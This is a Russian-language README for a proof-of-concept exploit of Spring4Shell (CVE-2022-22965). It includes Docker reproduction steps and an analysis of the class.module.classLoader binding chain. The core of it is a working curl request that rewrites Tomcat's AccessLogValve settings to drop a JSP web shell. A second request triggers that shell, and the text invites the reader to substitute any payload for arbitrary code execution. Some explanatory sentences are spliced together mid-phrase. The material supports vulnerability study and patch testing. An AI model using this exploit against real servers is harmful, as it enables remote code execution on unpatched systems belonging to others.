
Эксплойт PoC для CVE-2022-22965 (Spring4Shell), демонстрирующий удаленное выполнение кода через манипуляцию Tomcat AccessLogValve. Включает среду воспроизведения на основе Docker и подробный технический анализ.
Минимальный пример воспроизведения уязвимости CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp в папке webapps/handling-form-submission-complete на веб-сервере.Запустите сервер Tomcat в Docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Добавьте -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", если хотите удалённо отлаживать.
Соберите проект
./mvnw install
Разверните приложение
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Выполните эксплойт
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
Эксплойт создаст файл rce.jsp в папке webapps/handling-form-submission-complete на веб-сервере.
Используйте эксплойт
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Теперь вы увидите 123 в терминале контейнера. Замените System.out.println(123) на вашу полезную нагрузку для выполнения произвольного кода.
GreetingController обрабатывает POST-запросы на эндпоинте /greeting и привязывает поля формы к объекту Greeting.user.info.firstname). См. AbstractNestablePropertyAccessor для справки.Greeting имеет два поля: id и content, но на самом деле у него также есть ссылка на объект Class. Мы можем использовать class.module.classLoader в качестве ключа данных формы для доступа к загрузчику классов.module.Greeting. И ничего более. В большинстве случаев это даже не опасно, потому что из недоступны классы с открытыми полями.Эксплойт работает только на Tomcat, потому что у него особый загрузчик классов. Однако аналогичная цепочка ссылок может существовать и на других серверах веб-приложений. Она просто пока не обнаружена.
Для эксплуатации требуется Java 9 или выше, так как свойство module было добавлено в Java 9.
class.module.classLoader.getResources, который позволяет продолжить цепочку ссылок и получить доступ к одному из экземпляров класса AccessLogValve.jsp в корневой папке приложения с вредоносной полезной нагрузкой. Поскольку jsp автоматически выполняются Tomcat, мы можем перейти к нему в браузере и в конечном итоге выполнить полезную нагрузку. Теперь это RCE.